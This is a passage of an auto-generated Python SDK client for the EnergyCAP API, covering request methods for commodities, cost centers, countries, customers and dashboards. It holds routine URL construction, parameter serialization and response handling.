:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: Commodity or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.Commodity or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_commodity.metadata['url']
path_format_arguments = {
'commodityId': self._serialize.url("commodity_id", commodity_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('Commodity', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_commodity.metadata = {'url': '/api/v3/commodity/{commodityId}'}
def get_commodity_actual_yearly(
self, commodity_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by commodities for a given
number of years- Result includes cost, use, unit cost on an yearly
basis.
:param commodity_id: The commodity to retrieve data for
:type commodity_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CommodityDigestActualYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.CommodityDigestActualYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_commodity_actual_yearly.metadata['url']
path_format_arguments = {
'commodityId': self._serialize.url("commodity_id", commodity_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CommodityDigestActualYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_commodity_actual_yearly.metadata = {'url': '/api/v3/commodity/{commodityId}/digest/actual/yearly'}
def get_cost_centers(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all the cost centers.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.CostCenterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_centers.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[CostCenterResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_cost_centers.metadata = {'url': '/api/v3/costcenter'}
def create_cost_center(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a Cost Center.
:param body: Date representing the cost center being created
:type body: ~energycap.sdk.models.CostCenterCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostCenterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostCenterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_cost_center.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CostCenterCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostCenterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_cost_center.metadata = {'url': '/api/v3/costcenter'}
def get_cost_center(
self, cost_center_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves the cost center by ID.
:param cost_center_id: The identifier for the cost center being
retrieved
:type cost_center_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostCenterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostCenterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_center.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostCenterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_cost_center.metadata = {'url': '/api/v3/costcenter/{costCenterId}'}
def edit_cost_center(
self, cost_center_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a cost center.
:param cost_center_id: The identifier for the cost center being edited
:type cost_center_id: int
:param body: Data representing the cost center being edited
:type body: ~energycap.sdk.models.CostCenterCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostCenterResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CostCenterResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_cost_center.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'CostCenterCreate')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostCenterResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_cost_center.metadata = {'url': '/api/v3/costcenter/{costCenterId}'}
def delete_cost_center(
self, cost_center_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a cost center.
:param cost_center_id: The identifier for the cost center being
deleted
:type cost_center_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_cost_center.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_cost_center.metadata = {'url': '/api/v3/costcenter/{costCenterId}'}
def move_cost_center(
self, parent_cost_center_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Move list of costCenters to be under parentCostCenterId.
:param parent_cost_center_id: The identifier for the new parent
costCenter
:type parent_cost_center_id: int
:param body: List of costCenterIds to move under the
parentCostCenterId
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_cost_center.metadata['url']
path_format_arguments = {
'parentCostCenterId': self._serialize.url("parent_cost_center_id", parent_cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
move_cost_center.metadata = {'url': '/api/v3/parentCostCenter/{parentCostCenterId}/costCenter'}
def get_cost_center_actual_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by costCenter for a given
number of years- Result includes cost, use, unit cost on an yearly
basis. It also includes commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.CostCenterDigestActualYearlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_center_actual_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[CostCenterDigestActualYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_cost_center_actual_yearly_list.metadata = {'url': '/api/v3/costCenter/digest/actual/yearly'}
def get_cost_center_actual_yearly(
self, cost_center_id, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by costCenter for a given
number of years- Result includes cost, use, unit cost on an yearly
basis. It also includes commodity level break up.
:param cost_center_id: The costCenter to retrieve data for
:type cost_center_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostCenterDigestActualYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.CostCenterDigestActualYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_center_actual_yearly.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('CostCenterDigestActualYearlyResponse', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_cost_center_actual_yearly.metadata = {'url': '/api/v3/costCenter/{costCenterId}/digest/actual/yearly'}
def get_cost_center_actual_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by costCenter for a given
number of years- Result includes cost, use, unit cost on a monthly
basis. It also includes commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 24 months
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype:
list[~energycap.sdk.models.CostCenterDigestActualMonthlyResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_center_actual_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[CostCenterDigestActualMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_cost_center_actual_monthly_list.metadata = {'url': '/api/v3/costCenter/digest/actual/monthly'}
def get_cost_center_actual_monthly(
self, cost_center_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by costCenter for a given
number of years- Result includes cost, use, unit cost on a monthly
basis. It also includes commodity level break up.
:param cost_center_id: The costCenter to retrieve data for
:type cost_center_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 24 months
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CostCenterDigestActualMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.CostCenterDigestActualMonthlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_cost_center_actual_monthly.metadata['url']
path_format_arguments = {
'costCenterId': self._serialize.url("cost_center_id", cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CostCenterDigestActualMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_cost_center_actual_monthly.metadata = {'url': '/api/v3/costCenter/{costCenterId}/digest/actual/monthly'}
def get_countries(
self, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of all possible countries.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.Country] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_countries.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[Country]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_countries.metadata = {'url': '/api/v3/country'}
def get_customers(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves an array of customers.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.CustomerResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_customers.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[CustomerResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_customers.metadata = {'url': '/api/v3/customer'}
def get_dashboards(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves an array of dashboards. The array of dashboards can be
filtered by a number of criteria. See the filter property for more
details
For a dashboard to be returned you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps View permission and the dashboard is
shared with you.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DashboardResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_dashboards.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DashboardResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_dashboards.metadata = {'url': '/api/v3/dashboard'}
def create_dashboard(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a dashboard.
:param body:
:type body: ~energycap.sdk.models.DashboardCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DashboardResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DashboardResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_dashboard.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DashboardCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DashboardResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_dashboard.metadata = {'url': '/api/v3/dashboard'}
def get_dashboard(
self, dashboard_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a dashboard.
For a dashboard to be returned you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps View permission and the dashboard is
shared with you.
:param dashboard_id: Specific dashboard
:type dashboard_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DashboardResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DashboardResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_dashboard.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DashboardResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_dashboard.metadata = {'url': '/api/v3/dashboard/{dashboardId}'}
def edit_dashboard(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a dashboard
To edit a dashboard you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps Edit permission and the dashboard is
shared with you.
:param dashboard_id:
:type dashboard_id: int
:param body:
:type body: ~energycap.sdk.models.DashboardEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DashboardResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DashboardResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_dashboard.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DashboardEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DashboardResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_dashboard.metadata = {'url': '/api/v3/dashboard/{dashboardId}'}
def delete_dashboard(
self, dashboard_id, custom_headers=None, raw=False, **operation_config):
"""Delete a dashboard
To delete a dashboard you must have created it
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public.
:param dashboard_id: Specific dashboard
:type dashboard_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_dashboard.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_dashboard.metadata = {'url': '/api/v3/dashboard/{dashboardId}'}
def copy_dashboard(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Copy a dashboard
To copy a dashboard you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps View permission and the dashboard is
shared with you.
:param dashboard_id: Specific dashboard
:type dashboard_id: int
:param body: Request object
:type body: ~energycap.sdk.models.DashboardCopy
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DashboardResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DashboardResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.copy_dashboard.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DashboardCopy')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
